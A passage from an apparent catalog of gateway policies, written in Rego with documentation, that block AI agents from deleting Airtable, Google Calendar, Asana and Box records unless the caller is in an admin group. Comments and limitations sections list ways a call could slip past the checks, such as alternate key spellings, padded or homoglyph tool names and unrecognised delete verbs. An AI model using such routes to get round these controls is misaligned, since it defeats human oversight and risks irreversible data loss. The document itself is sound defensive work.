from BOTH the PARC field # (input.resource.name) and the legacy alias (input.payload.name), so a # request that somehow omits the resource block still cannot skip matching # (red-team hardening: missing resource must not fail open). # name_of coerces to a lowercased, whitespace-trimmed string. A missing OR # non-string value (number, null, array, object) resolves to "" rather than # leaving the rule undefined — an undefined name would make the contains check # undefined and skip matching entirely (fail-open). name_of(key) := trim_space(lower(v)) if { v := object.get(object.get(input, key, {}), "name", "") is_string(v) } name_of(key) := "" if { v := object.get(object.get(input, key, {}), "name", "") not is_string(v) } resource_name := name_of("resource") payload_name := name_of("payload") # Both names are checked independently. Keeping separate branches means a # malformed (non-string) value in one field cannot suppress a real "delete" # marker in the other. is_destructive_tool if { contains(resource_name, destructive_marker) } is_destructive_tool if { contains(payload_name, destructive_marker) } # --- Admin gate --- # Reads the groups claim through object.get chains so a missing subject, # missing claims, missing groups, or non-array groups value fails closed: # the caller is simply not an admin and the destructive call is denied. # The is_array guard is load-bearing: without it, a groups claim that is an # OBJECT whose values happen to include "airtable-admins" # (e.g. {"0":"airtable-admins"}) would satisfy `some group in groups` and fail # OPEN. Requiring an array means any non-array groups shape (string, object, # number) fails closed. caller_is_admin if { claims := object.get(input.subject, "claims", {}) groups := object.get(claims, "groups", []) is_array(groups) some group in groups group == admin_group } # Allow any tool outside the destructive set. allow if { not is_destructive_tool } # Allow destructive tools only for members of the admin group. allow if { is_destructive_tool caller_is_admin } reasons contains "This Airtable deletion is blocked because deletions over MCP are irreversible at the API level: delete_records permanently removes rows by record ID (only Airtable's revision history or trash can restore them) and delete_page permanently removes an interface page. Make intentional deletions in the Airtable web UI instead, where they can be reviewed and undone. If you believe this block is a false positive, ask your Airtable admin to add you to the airtable-admins group." if { is_destructive_tool not caller_is_admin } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Freeze Destructive and Series-Wide Calendar Changes URL: https://www.intentbasedpolicy.com/policies/google-calendar/freeze-destructive-events App(s): google-calendar | Direction: ingress | Bundles: soc2 | Package: google_calendar.ingress.freeze_destructive_events | Published: 2026-07-12 | Tags: google-calendar, freeze-destructive-ops, ingress, integrity, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/google-calendar/freeze-destructive-events/policy.md # google-calendar / freeze-destructive-events **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on match, allow otherwise **Package:** `google_calendar.ingress.freeze_destructive_events` ## What it does Denies irreversible Google Calendar mutations on the agent channel: 1. **Event deletes** — the dedicated destructive tools (`delete_event` / `delete-event`) and taylorwilsdon's consolidated `manage_event` tool when its `action` argument is a destructive verb (`delete`, `remove`, `cancel`, and related synonyms) — for every caller **outside** the placeholder `calendar-admins` group. `manage_event` is the known trap here: a single tool name spans write *and* destructive operations, so the policy inspects the action argument rather than trusting the name. 2. **Series-wide recurring-event changes** — any create/update/delete whose `modificationScope` is not a single instance (e.g. `all`, `thisAndFollowing`, `future`) is denied **for all callers, including `calendar-admins`**, because recurring-series-wide edits and deletes can silently wipe or move standing meetings and Calendar offers no MCP-level undo. 3. **Fail closed on `manage_event` ambiguity** — a `manage_event` call whose `action` argument is absent (or not a string) cannot be distinguished from a delete and is denied for non-admins; a `manage_event` call whose `modificationScope` is absent (or not a string) has an unverifiable series blast radius and is denied for everyone. The check runs at ingress, before the call reaches the Calendar MCP server, so a blocked delete or series rewrite never executes. This preserves record integrity against both agent error and prompt injection. ## Compliance alignment - **SOC 2 PI1.5** — supports integrity of stored records by preventing agent-driven destruction and mass rewrite of calendar entries. **CC6.7** — supports the restriction on removal of information by refusing irreversible agent-driven deletes and series-wide rewrites on the calendar path. ## Tool name matching The DTwo gateway prefixes tool names with the configured MCP server name, and Calendar servers disagree on delimiters (`delete_event` — official Google server, snake_case — vs `delete-event` — nspady, kebab-case). The policy lowercases the tool name, normalizes `-` to `_`, and matches by suffix: - `*delete_event` — dedicated destructive tools (Google `delete_event`, nspady `delete-event`) - `*manage_event` — taylorwilsdon's consolidated create/update/delete tool - `*create_event`, `*update_event` — write tools, inspected only for the series-wide `modificationScope` check Read tools (`list_events`, `get-event`, `search-events`, `respond_to_event`, …) do not match any suffix and pass through. Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape - `input.payload.args.action` — `manage_event`'s operation selector. The policy treats any string containing a destructive verb (`delete`, `remove`, `cancel`, `trash`, `purge`, `destroy`; case-insensitive) as destructive. Missing/non-string → fail closed (deny for non-admins). - `modificationScope` (recurring-series blast radius, documented on nspady's `update-event`) — the policy **normalizes the argument key** the same way it normalizes tool names (lowercase, strip `-`/`_`), so `modificationScope`, `modification_scope`, `modification-scope`, and `ModificationScope` are all treated as the same key. Every string value under any matching key is normalized (case and `-`/`_` stripped) and checked against a single-instance allowlist (`single`, `thisEventOnly`). If **any** provided value is not single-instance, the call is series-wide and denied — so a caller cannot pair a safe value under one spelling with a series-wide value under another to slip past a server that reads the other spelling. On `manage_event`, a call with no usable scope value under any spelling is denied outright (fail closed); on dedicated create/update/delete tools a missing value passes the scope check, since single-instance is the servers' default and `create` calls normally have no scope argument. - `futureStartDate` (also `future_start_date` or any delimiter/case variant, matched with the same key normalization) — nspady's alternate "this-and-following" split control. A non-empty string value is treated as series-wide and denied for everyone on any event-mutation tool, the same as a series-wide `modificationScope`. ## Identity Callers whose `input.subject.claims.groups` contains `calendar-admins` (case-insensitive) are exempt from the delete rules (1 and the non-admin half of 3) but **not** from the series-wide rules. Missing claims fail closed: no groups claim means no exemption. ## Examples ### Allowed — single-instance update ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "google-calendar-mcp-update-event", "type": "tool" }, "payload": { "name": "google-calendar-mcp-update-event", "args": { "eventId": "abc123", "summary": "Standup (moved)", "modificationScope": "thisEventOnly" } } } } ``` `allow = true`, no reason. ### Denied — non-admin delete ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "google-calendar-mcp-delete-event", "type": "tool" }, "subject": { "sub": "google-apps|dev@example.com", "claims": { "groups": ["engineering"] } }, "payload": { "name": "google-calendar-mcp-delete-event", "args": { "calendarId": "primary", "eventId": "abc123" } } } } ``` `allow = false`, `reason = "Deleting calendar events through the agent is limited to the calendar-admins group (...)"`. ### Denied — series-wide edit, even for admins ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "google-calendar-mcp-update-event", "type": "tool" }, "subject": { "sub": "google-apps|admin@example.com", "claims": { "groups": ["calendar-admins"] } }, "payload": { "name": "google-calendar-mcp-update-event", "args": { "eventId": "abc123", "modificationScope": "all" } } } } ``` `allow = false`, `reason = "Series-wide recurring-event changes are blocked for all callers (...)"`. ## Composition This policy is single-purpose (destructive/series-wide freeze). Useful companions in the same app directory: - `guard-external-attendees` — blocks invite-based exfiltration to external domains. - `guard-public-exposure` — blocks `visibility: public` and guest-privilege delegation. - `redact-attendee-pii` — egress redaction of attendee emails and meeting links on read tools. ## Known limitations - **Group names are placeholders** — replace `calendar-admins` with your IdP's group name at import time. The exemption reads `input.subject.claims.groups`; if your IdP emits roles under a different claim, adjust `is_calendar_admin`. - **`manage_event` argument schema is partially unverified.** taylorwilsdon's README verifies that `manage_event` consolidates create/update/delete behind an action argument, but the exact argument key (`action`) and its value enum are not published in the landscape research; the `modificationScope` key on `manage_event` is likewise unverified (it is documented on nspady's `update-event`). The policy fails closed when the action or scope argument is **missing or non-string**, so that class of schema mismatch shows up as a deny. It does **not** fail closed on a *present* action string that the server maps to a delete but that contains none of the known destructive verbs (`delete`/`remove`/`cancel`/`trash`/`purge`/`destroy`): such a call is treated as a non-destructive create/update and allowed for non-admins. Verify your server's action enum with the dump-input technique and extend `destructive_action_verbs` if it uses a delete verb outside this set. The series-wide freeze (rule 4) is unaffected by this residual, and admins remain exempt from the delete rule regardless. - **Single-instance scope allowlist is conservative.** Only `single` and `thisEventOnly` (after normalization) pass; nspady's exact enum values are unverified, so legitimate single-instance spellings not on the list will be denied. Extend `single_instance_scopes` for your server. - **Non-string `modificationScope` *value* on dedicated tools fails open.** The argument *key* is normalized (case and `-`/`_` stripped), so an alternate key spelling no longer slips past the series-wide check. What still fails open is a recognized scope key carrying a non-string *value* (array, number, `null`) on a dedicated `create`/`update`/`delete` tool: it passes the scope check (the server will typically reject such a value anyway). Only `manage_event` fails closed on an unusable scope value. The `action` key on `manage_event` is matched by its exact name; an alternate-cased `action` key reads as a missing action and therefore fails closed for non-admins (rule 3), so it is not a bypass. - **Series-wide freeze applies to `calendar-admins` too.** Series-wide changes must be made in the Google Calendar UI, by design. This includes calls carrying a `futureStartDate` split control, which is treated as series-wide. - **Tool-name source.** The policy matches on `input.resource.name`, falling back to the legacy `input.payload.name` alias if the former is empty. Both are populated on tool hooks per the input schema; the fallback is defence in depth against a caller that populates only the legacy field. - **Deletes are still possible outside MCP.** Web-UI and native-API deletes are out of the gateway's reach; this policy only freezes the agent channel. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package google_calendar.ingress.freeze_destructive_events # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # --- Tool matching ----------------------------------------------------------- # The gateway prefixes tool names with the configured MCP server name, and # Calendar servers disagree on delimiters (`delete_event` vs `delete-event`), # so we lowercase, normalize `-` to `_`, and match by suffix. # Prefer the PARC `resource.name`, but fall back to the legacy `payload.name` # alias so a call that only populates the latter still gets matched (defence # in depth — both are populated on tool hooks per the input schema). raw_resource_name := object.get(object.get(input, "resource", {}), "name", "") effective_name := raw_resource_name if raw_resource_name != "" effective_name := object.get(object.get(input, "payload", {}), "name", "") if raw_resource_name == "" normalized_name := replace(lower(effective_name), "-", "_") # Dedicated destructive tools: Google official `delete_event`, nspady `delete-event`. is_delete_tool if endswith(normalized_name, "delete_event") # taylorwilsdon's consolidated tool — one name spans create/update/delete, so # the destructive check below inspects the action argument, not the name. is_manage_event if endswith(normalized_name, "manage_event") # The full event-mutation family this policy inspects (`[-_]event$` verbs). is_event_mutation_tool if is_delete_tool is_event_mutation_tool if is_manage_event is_event_mutation_tool if endswith(normalized_name, "create_event") is_event_mutation_tool if endswith(normalized_name, "update_event") # --- Identity ---------------------------------------------------------------- # `calendar-admins` is a placeholder group name — replace it with your IdP's # group at import time. Missing claims fail closed: no groups, no exemption. is_calendar_admin if { claims := object.get(object.get(input, "subject", {}), "claims", {}) some g in object.get(claims, "groups", []) lower(g) == "calendar-admins" } # --- Arguments --------------------------------------------------------------- args := object.get(object.get(input, "payload", {}), "args", {}) # manage_event's operation selector. Only usable when it is a non-empty string; # anything else fails closed via the deny rules below. action_raw := object.get(args, "action", "") manage_action := lower(action_raw) if is_string(action_raw) has_usable_action if { is_string(action_raw) action_raw != "" } # Destructive-action verbs on the consolidated manage_event tool. The exact # enum is unverified (see Known limitations), so we match a set of destructive # synonyms as a substring rather than trusting only the literal `delete` — a # `cancel`/`remove`/`purge` action is as irreversible as a delete. destructive_action_verbs := {"delete", "remove", "cancel", "trash", "purge", "destroy"} is_destructive_action if { some verb in destructive_action_verbs contains(manage_action, verb) } # Recurring-series blast radius. Servers spell this argument key differently # (`modificationScope`, `modification_scope`, and plausibly kebab/Pascal/all- # lowercase variants), so we normalize the KEY exactly as we normalize tool # names — lowercase and strip `-`/`_` — and collect every value whose normalized # key is `modificationscope`. Inspecting EVERY matching key (not a first-key-wins # precedence) means a caller cannot pair a safe value under one spelling with a # series-wide value under another to slip past a server that reads the other # spelling. scope_values := [v | some k, raw in args replace(replace(lower(k), "-", ""), "_", "") == "modificationscope" is_string(raw) raw != "" v := raw ] has_usable_scope if count(scope_values) > 0 # Scope values that touch exactly one instance (normalized). Anything else — # `all`, `thisandfollowing`, `future`, unknown spellings — is treated as # series-wide and denied: a deliberate fail-closed allowlist. single_instance_scopes := {"single", "thiseventonly"} # Any provided scope value (across either key) that is not single-instance makes # the change series-wide. has_series_wide_scope if { some v in scope_values normalized := replace(replace(lower(v), "-", ""), "_", "") not single_instance_scopes[normalized] } # nspady's `futureStartDate` (also `future_start_date`, or any delimiter/case # variant) is an alternate series blast-radius control ("this and following" # from a split date); its presence means the mutation is not confined to a # single instance, so treat it as series-wide too. The key is matched with the # same normalization as the scope key, so no alternate spelling fails open. has_future_start if { some k, v in args replace(replace(lower(k), "-", ""), "_", "") == "futurestartdate" is_string(v) v != "" } # --- Allow rules ------------------------------------------------------------- # Pass through every tool outside the event-mutation family (reads, freebusy, # respond_to_event, and all non-Calendar tools). allow if { not is_event_mutation_tool } # Allow event mutations only when no deny condition fired. allow if { is_event_mutation_tool count(reasons) == 0 } # --- Deny reasons ------------------------------------------------------------ # 1. Dedicated delete tools are admin-only: deletes have no MCP-level undo. reasons contains "Deleting calendar events through the agent is limited to the calendar-admins group because Google Calendar offers no MCP-level undo. Ask a calendar administrator to remove the event, or contact your IT team if you believe this is a false positive." if { is_delete_tool not is_calendar_admin } # 2. manage_event acting as a destructive op — same restriction as a dedicated # delete. Matches any destructive verb, not just the literal `delete`. reasons contains "Deleting calendar events through the agent is limited to the calendar-admins group because Google Calendar offers no MCP-level undo. Ask a calendar administrator to remove the event, or contact your IT team if you believe this is a false positive." if { is_manage_event is_destructive_action not is_calendar_admin } # 3. manage_event with no usable action cannot be distinguished from a delete — # fail closed for non-admins. reasons contains "This manage_event call did not include a usable action argument, so it cannot be distinguished from a delete and was denied. Retry with an explicit action such as create or update, or contact your IT team if you believe this is a false positive." if { is_manage_event not has_usable_action not is_calendar_admin } # 4. Explicit series-wide scope on any event mutation — denied for everyone, # including calendar-admins: series rewrites can silently wipe standing # meetings. reasons contains "Series-wide recurring-event changes are blocked for all callers because they can silently move or wipe standing meetings with no MCP-level undo. Retry with modificationScope set to a single instance, or make series-wide changes in the Google Calendar UI." if { is_event_mutation_tool has_series_wide_scope } # 4b. A `futureStartDate` (this-and-following split) is series-wide too — denied # for everyone. reasons contains "Series-wide recurring-event changes are blocked for all callers because they can silently move or wipe standing meetings with no MCP-level undo. Retry with modificationScope set to a single instance, or make series-wide changes in the Google Calendar UI." if { is_event_mutation_tool has_future_start } # 5. manage_event without a usable modificationScope has an unverifiable series # blast radius — fail closed for everyone. reasons contains "This manage_event call did not include a usable modificationScope argument, so its recurring-series blast radius cannot be verified and it was denied. Retry with modificationScope set to a single instance, or contact your IT team if you believe this is a false positive." if { is_manage_event not has_usable_scope } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Freeze Destructive Asana Operations URL: https://www.intentbasedpolicy.com/policies/asana/freeze-destructive-ops App(s): asana | Direction: ingress | Bundles: soc2 | Package: asana.ingress.freeze_destructive_ops | Published: 2026-07-12 | Tags: asana, freeze-destructive-ops, record-integrity, ingress, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/asana/freeze-destructive-ops/policy.md # asana / freeze-destructive-ops **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on match, allow otherwise **Package:** `asana.ingress.freeze_destructive_ops` ## What it does Denies every destructive Asana tool call unless the caller's IdP token carries the placeholder group `asana-admins`. All read tools and every non-destructive write pass through unchanged. The destructive set is: - **`delete_task` (suffix match)** — catches both the official V2 tool `delete_task` and the community `asana_delete_task` (roychri / cristip73 servers), whether bare or behind the gateway's server-name prefix. - **`delete_section`, `delete_project_status`, `delete_tag` (bare-verb suffix match)** — three additional destructive tools. Today they exist only on the community servers as `asana_delete_section` / `asana_delete_project_status` / `asana_delete_tag`, but the suffixes are matched as **bare verbs** (no `asana_` prefix baked in), so they also catch a bare-verb variant the official V2 server might later expose — the official server already dropped the `asana_` prefix for `delete_task`, so a future official section/tag/status delete would plausibly be bare. Asana deletions over MCP are irreversible. `delete_task` **permanently removes a task and its non-shared subtasks with no trash-restore path** — a hallucinated "cleanup" step or a prompt-injection can destroy business records (HR, legal, M&A, and incident work lives in Asana tasks) that survive nowhere else. So the destructive family is frozen for everyone except an explicitly designated admin group. The check runs at ingress, before the call reaches the Asana MCP server, so a blocked delete never executes. `default allow := false` here applies **only to the matched destructive tools** — the deny-by-default is neutralized for every other tool by an explicit pass-through `allow` branch (`not is_destructive_tool`). Reads (`get_task`, `search_tasks`, `asana_get_task_stories`, …) and non-destructive writes (`create_tasks`, `update_tasks`, `add_comment`, `asana_create_task`, …) are never touched by this policy. ## Compliance alignment - **SOC 2 PI1.5** — supports integrity of stored records by removing the agent's unilateral ability to destroy them; **CC6.1** — supports logical access control over protected assets by gating the irreversible delete verbs to a designated admin group. ## Tool name matching Community Asana servers (roychri, cristip73) prefix every tool with `asana_` and use snake_case; the official V2 server **dropped the `asana_` prefix** and uses bare snake_case verbs (`delete_task`). Behind a DTwo gateway both additionally receive the configured server-name prefix (e.g. `asana-`). Matching is therefore done by **suffix**, case-insensitively: - `endswith(name, "delete_task")` catches official `delete_task`, community `asana_delete_task`, and both behind any gateway prefix (`asana-delete_task`, `asana-asana_delete_task`). - `endswith(name, "delete_section")`, `endswith(name, "delete_project_status")`, `endswith(name, "delete_tag")` catch the community `asana_delete_section` / `asana_delete_project_status` / `asana_delete_tag` tools (bare or prefixed) **and** any bare-verb variant (`delete_section`, `asana-delete_section`, …). Matching the bare verb — rather than a suffix with the `asana_` prefix baked in — is deliberate: it mirrors the `delete_task` treatment and does not depend on the community naming convention holding for a section/tag/status delete the official server may add later. The name is read from both the PARC field (`input.resource.name`) and the legacy alias (`input.payload.name`) via `object.get` chains, and the two are matched **independently** — a request missing the `resource` block, or one carrying a malformed (non-string) value in either field, still cannot skip the match. Each field is coerced to a lowercased, whitespace-trimmed string (a number, null, array, or object resolves to the empty string), so a non-string value in one field can never suppress a genuine destructive suffix in the other. Leading/trailing whitespace is stripped with `trim_space` before matching, so padding the verb with a trailing space, tab, or newline (`asana-delete_task\n`) does not evade the suffix check. Asana's tool set evolves (Asana explicitly says to use `tools/list` for the current set; `add_comment` was absent at V2 launch and added later). Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape None. The decision uses only the tool name (`input.resource.name`, with the legacy `input.payload.name` as fallback) and the caller's identity (`input.subject.claims.groups`); arguments are not inspected. `delete_task` takes only a task identifier, so there is nothing in the arguments to distinguish a safe delete from a dangerous one — the whole verb is frozen. Group membership is read via an `object.get(input.subject, "claims", {})` chain and fails closed: a missing subject, missing claims, missing `groups`, or a non-array `groups` value all mean "not admin", so the destructive call is denied. ## Examples ### Allowed — read tool, any caller ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "asana-get_task", "type": "tool" }, "payload": { "name": "asana-get_task", "args": { "task_id": "12345" } } } } ``` `allow = true`, no reason. ### Allowed — delete_task by an admin ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "asana-delete_task", "type": "tool" }, "subject": { "sub": "admin@example.com", "claims": { "groups": ["asana-admins"] } }, "payload": { "name": "asana-delete_task", "args": { "task_id": "12345" } } } } ``` `allow = true`. ### Denied — delete_task by a non-admin ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "asana-delete_task", "type": "tool" }, "subject": { "sub": "user@example.com", "claims": { "groups": ["marketing"] } }, "payload": { "name": "asana-delete_task", "args": { "task_id": "12345" } } } } ``` `allow = false`, `reason = "This Asana deletion is blocked because deletions over MCP are irreversible (...)"`. ## Composition This policy is single-purpose: it freezes the four destructive tools and nothing else. Pair it with: - a **protected-project write fence** (ingress deny of `create_tasks`/`update_tasks`/`add_comment` on HR/Legal/M&A project GIDs) — writes are destructive-adjacent but intentionally out of scope here, - a **privacy-flip deny** on `asana_update_project`/`asana_create_project` when `privacy_setting` is present and not `private`, - an **attachment egress lockdown** on cristip73's `asana_download_attachment`/`asana_upload_attachment_for_object`, - an **egress PII redaction** policy on `get_task`/`search_tasks`/`asana_get_task_stories` responses. ## Known limitations - **Group names are placeholders — replace `asana-admins` with your IdP's group name at import time.** The gate reads `input.subject.claims.groups`; confirm your IdP actually emits a `groups` claim (Auth0 and most IdPs require explicit configuration) before relying on the admin exemption. With no `groups` claim the policy still fails closed: destructive calls are denied for everyone. - **The destructive list is fixed and Asana's tool set drifts.** The official V2 set is documented as evolving (25 tools on the reference page vs 42–44 in third-party catalogs), and community forks add tools. A future destructive tool that does **not** end in one of the four matched suffixes (e.g. a hypothetical `delete_project`, or a bulk `delete_tasks` plural) would not be caught until added to `destructive_suffixes`. Re-audit the tool inventory when the upstream server updates. For a hard guarantee against unknown tools, compose the PF-28 `default-deny-unknown-tools` allowlist policy alongside this one. - **The section/status/tag deletes are community-only today, but matched by bare verb.** `asana_delete_section`, `asana_delete_project_status`, and `asana_delete_tag` currently exist only on the roychri/cristip73 servers. The suffixes are matched as bare verbs (`delete_section`, `delete_project_status`, `delete_tag`), so on the official V2 server they are harmless no-ops today **and** would catch a future bare-verb official variant (the official server already dropped the `asana_` prefix for `delete_task`). This is intentional over-matching, the safe direction for a record-integrity freeze. - **Destruction by overwrite / other surfaces is not covered.** `update_tasks` (batch, up to 50) can blank a task's fields, `asana_update_project` `privacy_setting` can widen exposure, and attachment tools can exfiltrate/replace files. Those belong to the companion policies above — this policy stays single-job on the four irreversible delete verbs. - **Suffix matching is portable but broad.** A hypothetical unrelated tool whose name ends in `delete_task` (or one of the community suffixes) would also be gated. For a record-integrity freeze, over-matching is the safe direction. - **Suffix matching is exact apart from surrounding whitespace.** The match is `endswith` on the lowercased, `trim_space`d name, so leading/trailing spaces, tabs, and newlines are handled. It does **not** normalize other trailing characters: a name ending in a non-whitespace character after the verb (a trailing `.`, or an invisible non-whitespace code point such as U+200B zero-width space — `asana-delete_task​`) or a Unicode homoglyph of the verb would not match and would pass through. These are not real evasions on a correctly configured gateway — the gateway routes on the exact server-registered tool name, so a padded/homoglyph name does not resolve to the real destructive tool at the MCP server — but if you cannot rely on that invariant, compose the PF-28 `default-deny-unknown-tools` allowlist alongside this policy so only audited exact names are permitted at all. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package asana.ingress.freeze_destructive_ops # Deny-by-default: only the explicit allow rules below permit the request. # Note: the pass-through allow branch (`not is_destructive_tool`) neutralizes # this default for every non-destructive tool, so the default-deny bites only # on the four matched destructive suffixes. default allow := false # Placeholder IdP group allowed to run destructive Asana operations. # Replace "asana-admins" with your IdP's group name at import time. admin_group := "asana-admins" # --- Destructive tool matching --- # Community Asana servers (roychri, cristip73) prefix tools with `asana_`; # the official V2 server uses bare snake_case verbs. Behind a DTwo gateway # both additionally get the configured server-name prefix (e.g. `asana-`). # So match by SUFFIX, case-insensitively, using the BARE verb (no `asana_` # prefix baked in) so each suffix catches every spelling: # - "delete_task" catches official `delete_task` AND community # `asana_delete_task`, bare or prefixed. # - "delete_section"/"delete_project_status"/"delete_tag" catch the community # `asana_delete_*` tools AND any bare-verb variant. Only the community # servers ship these today, but the official V2 server already dropped the # `asana_` prefix for `delete_task`, so a future official `delete_section` # would be bare — a suffix keyed to `asana_delete_section` would MISS it. # Matching the bare verb closes that gap (red-team hardening) and is # consistent with how `delete_task` is matched. Over-matching is the safe # direction for a record-integrity freeze. # Verify the exact names on your gateway with the dump-input debug technique. destructive_suffixes := [ "delete_task", "delete_section", "delete_project_status", "delete_tag", ] # Tool name is read via object.get chains from BOTH the PARC field # (input.resource.name) and the legacy alias (input.payload.name), so a # request that somehow omits the resource block still cannot skip matching # (red-team hardening: missing resource must not fail open). # name_of coerces to a lowercased, whitespace-trimmed string. A missing OR # non-string value (number, null, array, object) resolves to "" rather than # leaving the rule undefined — an undefined name would make the endswith checks # undefined and skip matching entirely (fail-open). trim_space strips leading # and trailing whitespace (spaces, tabs, newlines) so a padded name like # "asana-delete_task\n" or "asana-delete_task " cannot slip past the suffix # match (red-team hardening: trailing-whitespace suffix evasion). name_of(key) := trim_space(lower(v)) if { v := object.get(object.get(input, key, {}), "name", "") is_string(v) } name_of(key) := "" if { v := object.get(object.get(input, key, {}), "name", "") not is_string(v) } resource_name := name_of("resource") payload_name := name_of("payload") # Both names are checked independently. Keeping separate branches means a # malformed (non-string) value in one field cannot suppress a real destructive # suffix in the other. is_destructive_tool if { some suffix in destructive_suffixes endswith(resource_name, suffix) } is_destructive_tool if { some suffix in destructive_suffixes endswith(payload_name, suffix) } # --- Admin gate --- # Reads the groups claim through object.get chains so a missing subject, # missing claims, missing groups, or non-array groups value fails closed: # the caller is simply not an admin and the destructive call is denied. # The is_array guard is load-bearing: without it, a groups claim that is an # OBJECT whose values happen to include "asana-admins" (e.g. {"0":"asana-admins"}) # would satisfy `some group in groups` and fail OPEN. Requiring an array means # any non-array groups shape (string, object, number) fails closed. caller_is_admin if { claims := object.get(input.subject, "claims", {}) groups := object.get(claims, "groups", []) is_array(groups) some group in groups group == admin_group } # Allow any tool outside the destructive set. allow if { not is_destructive_tool } # Allow destructive tools only for members of the admin group. allow if { is_destructive_tool caller_is_admin } reasons contains "This Asana deletion is blocked because deletions over MCP are irreversible: delete_task permanently removes a task and its non-shared subtasks with no trash-restore path, so a destroyed record survives nowhere else. Route this request through a member of your Asana admin group (placeholder: asana-admins) instead. If you believe this block is a false positive, ask your InfoSec team to add you to that group." if { is_destructive_tool not caller_is_admin } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Freeze Destructive Box Operations URL: https://www.intentbasedpolicy.com/policies/box/freeze-destructive-ops App(s): box | Direction: ingress | Bundles: soc2 | Package: box.ingress.freeze_destructive_ops | Published: 2026-07-12 | Tags: box, freeze-destructive-ops, ingress, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/box/freeze-destructive-ops/policy.md # box / freeze-destructive-ops **Direction:** ingress (`tool_pre_invoke`) **Default:** deny destructive tools, allow everything else **Package:** `box.ingress.freeze_destructive_ops` ## What it does Freezes deletes and retention tampering on the **community self-hosted Box MCP server** (`box-community/mcp-server-box`). That server — unlike the official remote server at `mcp.box.com`, which is verified delete-free — exposes destructive tools and commonly runs under a JWT/CCG **service account** with no per-user Box permission checks. In that deployment, the DTwo gateway is the only control layer between the agent and destruction of records. The policy denies, by tool-name suffix: - `box_file_delete_tool` — file deletion - `box_folder_delete_tool` — folder deletion; **denied unconditionally when `recursive == true`**, the single most destructive call in either Box server - `box_collaboration_delete_tool` — revokes a collaborator (sharing-state destruction) - `box_shared_link_file_remove_tool` / `box_shared_link_folder_remove_tool` / `box_shared_link_web_link_remove_tool` — shared-link removal (sharing-state destruction) - `box_file_retention_date_clear_tool` — clears a file's retention date (retention tampering) All other tools pass through unchanged. Non-recursive destructive calls are exempt **only** for callers whose IdP `groups` claim contains the placeholder group `box-admins`, read fail-closed from `input.subject.claims.groups` — no claim means no exemption. Recursive folder deletion is denied for everyone, including `box-admins`. Box's trash makes most deletions recoverable for a window, but bulk deletion and retention tampering by an automated agent are out of policy here regardless: the deny reasons say so and point the caller to a human-driven path (do it in the Box web app, or ask a `box-admins` member). ## Compliance alignment - **SOX §802 / 18 U.S.C. §1519** — anti-destruction/alteration of records: an agent cannot delete files/folders or clear retention dates on the MCP path, supporting the record-preservation obligation on financial and audit evidence stored in Box. - **SOC 2 PI1.5** — supports integrity of stored records by preventing agent-initiated destruction of stored content and its sharing/retention state. - **HIPAA §164.312(c)** — integrity (anti-alteration/destruction of ePHI) on the agent channel; **§164.530(c)** — administrative safeguard limiting who can destroy records containing PHI. - **GDPR Art. 5(1)(d)** — accuracy: supports the anti-mass-corruption posture by stopping an errant or injected agent from bulk-erasing personal-data records. ## Tool name matching Matches case-insensitively on the **suffix** of `input.resource.name`. The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `box-mcp-box_file_delete_tool`), and that prefix is not standardized — suffix matching keeps the policy portable. Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. The community server names all tools `box___tool`, so these suffixes are specific to that dialect. **Official-server deployments (`mcp.box.com`) see no effect**: the official server exposes no delete/remove/retention tools and none of its tool names match these suffixes. That is expected — there is nothing for this policy to block there. ## Argument shape - `box_folder_delete_tool` takes `folder_id` and `recursive` (boolean). The policy treats the delete as recursive when either the documented `recursive` key **or** the `is_recursive` alias (used by the folder-listing tool in the same server family) holds a truthy value — a JSON boolean `true`, **any non-zero number**, or a string the server's bool parser coerces to true (`true`/`t`/`yes`/`y`/`on`/`1`, case-insensitive, surrounding whitespace trimmed). Absent, `false`, `0`, and any falsey or unrecognized value mean non-recursive. Checking both keys and every truthy encoding closes the admin-only bypass where an alternate key, a numeric flag, or a string value would otherwise route a recursive delete into the exemption branch. - The `box-admins` exemption reads `input.subject.claims.groups` via `object.get` chains with an empty-array default, so a missing subject, missing claims, or missing `groups` claim deterministically fails closed (deny). - No other arguments are inspected; the remaining destructive tools are denied on name alone. ## Examples ### Allowed — read tool, untouched ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "box-mcp-box_file_info_tool", "type": "tool" }, "payload": { "name": "box-mcp-box_file_info_tool", "args": { "file_id": "1234" } } } } ``` `allow = true`, no reason. ### Allowed — single file delete by a box-admins member ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "box-mcp-box_file_delete_tool", "type": "tool" }, "subject": { "sub": "auth0|admin", "claims": { "groups": ["box-admins"] } }, "payload": { "name": "box-mcp-box_file_delete_tool", "args": { "file_id": "1234" } } } } ``` `allow = true` — group-based exemption. ### Denied — recursive folder delete, even for box-admins ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "box-mcp-box_folder_delete_tool", "type": "tool" }, "subject": { "sub": "auth0|admin", "claims": { "groups": ["box-admins"] } }, "payload": { "name": "box-mcp-box_folder_delete_tool", "args": { "folder_id": "9876", 